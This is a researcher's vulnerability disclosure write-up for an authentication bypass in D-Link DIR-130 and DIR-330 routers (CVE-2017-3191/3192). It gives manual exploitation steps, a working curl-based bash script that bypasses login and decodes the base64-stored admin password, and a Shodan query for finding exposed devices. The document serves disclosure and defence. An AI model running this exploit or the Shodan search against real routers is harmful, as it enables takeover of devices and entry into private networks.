Below is the write-up and information I submitted to CERT 1/15/2017. I also submitted this information to D-Link 9/22/2015 but never heard a response. I gave a presentation to a group of Kennesaw State University students back in October 2015. I obtained the recording and published it to YouTube 5/23/2018. I also spoke about this issue during the 2016 Skytalks at DefCon where I was not recorded.
<Original Content> – submitted to CERT and D-Link with some minor edits.
During an external penetration test I identified a DIR-130 SOHO VPN router. This device had remote administration enabled. Standard vulnerability scanning and research did not identify any issues with this device. However, searches of https://packetstormsecurity.com/search/?q="d-link" and the research of Craig Heffner (blog) show that there has to be SOMETHING wrong with this device. D-Link has a horrible track record with their device security (note: as of 2015 when I wrote this. Who knows, maybe they’ve improved). BTW, Craig Heffner is a huge fan of D-Link and author of binwalk. Using Craig’s tool I downloaded the latest firmware from D-Link and extracted the file system. This allowed me to see what web pages I could try and play with as I accessed the device from my browser and Burp Suite. Interacting with the application I stumbled upon an authentication bypass vulnerability.
The current firmware from support.dlink.com is DIR130A1_FW123B18.bin which is the version the device was running during the penetration test. However, when conducting additional research I noticed a version 1.24 existed and is offered on D-Link’s Russian FTP site (http://ftp.dlink.ru/pub/Router/DIR-130/Firmware/)
There are a handful of steps that will provide you with the admin password for the device. From there you can see the VPN settings to then connect to the internal network. You do not need to obtain the admin password as the authentication bypass will work for any configuration page. Obtaining the password demonstrates the risk associated with this authentication bypass vulnerability and highlights another issue with the device which is the base64 (essentially clear text) storage of the admin password.
While I was able to identify this issue during a penetration test. The remote login was disabled after i immediately notified the client. Any additional research was conducted after I purchased a DIR-130 off of Ebay. All screenshots are of my DIR-130.
1. From your browser access the login page (Figure 1)
2. Attempt an authentication but intercept the request. The username and password does not matter.
3. Add a forward slash (/) to the end of ‘apply.cgi’ and disable the proxy interception (Figure 2). A 404 Not Found (Figure 3) will be returned. Ignore it.
4. Visit any page that requires authentication.
I chose http://<ipaddress>/cgi/ssi/tools_admin.asp and identified an additional vulnerability. The admin password is returned base64 encoded (essentially clear text). (Figure 4). The tools_admin.asp page allows you to change the router password. It does not need to contain the current password. The administrator of the device should have to enter the current password before the new password can be set.
</Original Content>
Since submitting to CERT the Common Vulnerabilities and Exposures (CVE) CVE-2017-3191 and CVE-2017-3192 were created. As of the date and time this article is posted there are potentially hundreds of these devices still connected to the Internet with the remote management interface accessible. This actually makes me sick to my stomach. You can bypass the authentication and obtain the valid credentials. Then all you need to do is view the VPN connection settings or enable VPN and you are now connected to the internal network. This is insane. The only remediation I can recommend is unplugging these devices and recycling them. I’m sure with remote management disabled there is still a CSRF attack that would work.
Below is a shitty shell script I slapped together to demonstrate the issue for CERT. It will not work for D-Link devices that have the CAPTCHA enabled.
#!/bin/bash
# D-Link DIR-130 and DIR-330 'apply.cgi' Authentication Bypass Vulnerability
# D-Link DIR-130 NetDefend SOHO VPN Router 8-Port 10/100 Switch
# D-Link DIR-330 NetDefend SOHO VPN Router 4-Port 10/100 Switch
# Author: James Edge - james.edge@jedge.com
ipaddress=$1;port=$2;ssl=$3
# we make an initial request to the website.
# It seems to be required even though on the surface no session management is taking place.
# We do not receive a cookie and the session_id that is returned is not needed for the next request
curl --insecure --url http$ssl://$ipaddress:$port/cgi/ssi/login_pic.asp > /dev/null 2>&1
# legit authentication for the application is handled by apply.cgi.
# If we append a forward slash to the POST request it will bypass the authentication
# most of the POST data fields are required but the values do not matter
curl --insecure --data "login_name=&log_pass=&action=do_graph_auth&login_n=admin&tmp_log_pass=&graph_code=&session_id=31337" --url "http$ssl://$ipaddress:$port/cgi/ssi/apply.cgi/" > /dev/null 2>&1
# after authentication bypass you can request any valid configuration page.
# in this instance we load the page where you can change the admin password
# the page returns the actual password base64 encoded
curl --insecure --url http$ssl://$ipaddress:$port/cgi/ssi/tools_admin.asp 2>/dev/null | grep admin_password |awk -F"\"" '{print $6}' | base64 --decode
echo
Last but not least the Shodan string to search is
"Content-length: 65" "200 OK" -Server
References
https://github.com/ReFirmLabs/binwalk
http://www.devttys0.com/2015/04/what-the-ridiculous-fuck-d-link/
https://www.scmagazine.com/d-link-dir-130-and-dir-330-routers-vulnerable/article/644553/
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-3191
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-3192
https://youtu.be/qMylpEhqvU8
